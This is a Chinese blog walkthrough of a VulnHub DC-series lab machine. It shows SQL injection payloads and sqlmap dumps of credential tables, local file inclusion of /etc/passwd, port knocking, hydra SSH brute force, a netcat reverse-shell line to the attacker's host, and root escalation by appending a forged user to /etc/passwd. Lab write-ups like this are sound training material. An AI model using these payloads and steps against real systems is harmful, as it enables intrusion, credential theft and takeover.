- 🍬 博主介绍
-
- 👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
- ✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
- 🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
- 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
- 🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
-
扫描到靶机IP:192.168.103.209
- ┌──(root💀kali)-[~/桌面]
- └─# arp-scan -l
DC靶场系列的老样子,22、80端口
但是发现22端口关闭了,一般渗透都是需要ssh连接或者说反弹shell之类的都是需要22端口开启的 ,所有说,后面我们会尝试把22端口开启
- ┌──(root💀kali)-[~/桌面]
- └─# nmap -sS -A -p- 192.168.103.209
访问80端口:
点击manage
,跳出登录窗口
后续应该要收集信息,收集账号密码,登录
/config.php、/includes、/display.php、/search.php、/search.php
- ┌──(root💀kali)-[~/桌面]
- └─# dirsearch -u http://192.168.103.209
没有发现什么有价值的信息
点击search
,有个输入框,可以试试有没有sql注入
输入框里面,输入1'or 1=1#
验证是否有sql注入
发现,跳转到了这个界面,说明此页面应该是有SQL注入
可以看出来,这个sql注入,是POST注入的
求列数:
search=1' union select 1,2,3,4,5,6#
求数据库
search=1' union select 1,2,3,4,5,database()#
求表
search=1' union select 1,2,3,4,5,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
求字段
search=1' union select 1,2,3,4,5,(select group_concat(column_name) from information_schema.columns where table_name='Users')#
查看Username,Password字段的值
- search=1' union select 1,2,3,4,5,(select group_concat(concat_ws('~',Username,Password)) from Users)#
- ┌──(root💀kali)-[~/桌面]
- └─# hash-identifier "856f5de590ef37314e7c3bdf6f8a66dc"
- 判断密码是MD5加密的
- 账号:admin
- 密码:transorbital1
- sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch #查看是否存在漏洞
-
- sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch --dbs #查看库
-
- sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch -D users --tables #查看表
-
- sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch -D users -T UserDetails --dump #列出管理员账号密码(爆表)
都是员工账号和密码,先放着不管了,再去把另一个数据库staff
的数据表也爆一下,
- sqlmap -u "http://192.168.103.209/results.php" --data "search=1" -D Staff -tables
-
- sqlmap -u "http://192.168.103.209/results.php" --data "search=1" -D Staff -T Users --dump -batch
-
账号密码:
admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
- 账号:admin
- 密码:transorbital1
点击Add Record
猜测可能存在文件包含漏洞,所以在manage.php
的url处,接入file参数,读取/etc/passwd文件,在url后面加入?file=../../../../etc/passwd
,顺利读取到/etc/passwd文件
但是到这里不知该怎么进行下去了,我们再从头看看,发现22端口的流量被过滤了,所以查阅了一些资料,看了看一些教程,猜测这里可能存在knockd
服务
https://www.cnblogs.com/f-carey/p/16066178.htmlhttps://www.cnblogs.com/f-carey/p/16066178.html
- knockd服务:
- 端口敲门服务,即:knockd服务。
- 该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,
- 使系统开启需要访问的服务端口,才能对外访问。
- 不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
-
- //默认文件是:
- /etc/knockd.conf
-
接下来我们就是需要对其ssh依次敲门了,然后打开ssh服务,进行ssh远程连接
通过文件包含读取knockd的默认配置文件:/etc/knockd.conf
依次对7469、8475、9842
端口进行敲门,然后就可以开门,命令
- nmap -p 7469 192.168.103.209
- nmap -p 8475 192.168.103.209
- nmap -p 9842 192.168.103.209
-
依次访问之后,重新扫描22端口,可发现ssh服务已经开启,可以访问
把这里面的password和username保存在本地文件
后面用九头蛇爆破,然后利用ssh远程连接
然后使用两个字典进行爆破
- ┌──(root💀kali)-[~/桌面]
- └─# hydra 192.168.103.209 -L user.txt -P passwd.txt ssh
爆破的账号密码如下:
- 用户 密码
- chandlerb UrAG0D!
- joeyt Passw0rd
- janitor Ilovepeepee
-
1.chandlerb远程连接,没有发现什么目录
- ┌──(root💀kali)-[~/桌面]
- └─# ssh chandlerb@192.168.103.209
2.joeyt
也是一样
3.janitor
多了一个文件:.secrets-for-putin
新发现了很多的账号和密码
把这些都添加到开始的账号密码文件中
- passwords-found-on-post-it-notes.txt #密码
-
- /home #账号
- ┌──(root💀kali)-[~/桌面]
- └─# hydra 192.168.103.209 -L user.txt -P passwd.txt ssh
新的账号和密码:
- 账号:fredf
- 密码:B4-Tru3-001
- ┌──(root💀kali)-[~/桌面]
- └─# ssh fredf@192.168.103.209
就是以root权限会进行执行/opt/devstuff/dist/test
这个文件
所有我们接下来要进入这个文件中,然后进行写入木马,然后进行反弹shell,然后拿到root权限
echo 'nc -nv 192.168.103.129 1234 -c bash'>>/opt/devstuff/dist/test/test
发现权限不够,写入失败
openssl
账户密码加密再回到上一个目录查看,在/opt/devstuff
目录下发现了一个test.py脚本文件
这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限
现在我们回到kali,使用openssl
工具创建一个本地的加密用户,
- ┌──(root💀kali)-[~/桌面]
- └─# openssl passwd -1 -salt admin1 admin1
- $1$admin1$QDqsIRd5/oAdiXk0vdS1C/
跳转到/opt/devstuff/dist/test
目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,我使用test2
echo 'admin1:$1$admin1$QDqsIRd5/oAdiXk0vdS1C/:0:0::/root:/bin/bash' >> /tmp/test2
执行sudo命令的时候,要在/opt/devstuff/dist/test
目录下执行
用sudo命令执行test文件将/tmp/test2的内容写入到/etc/passwd文件中
sudo ./test /tmp/test2 /etc/passwd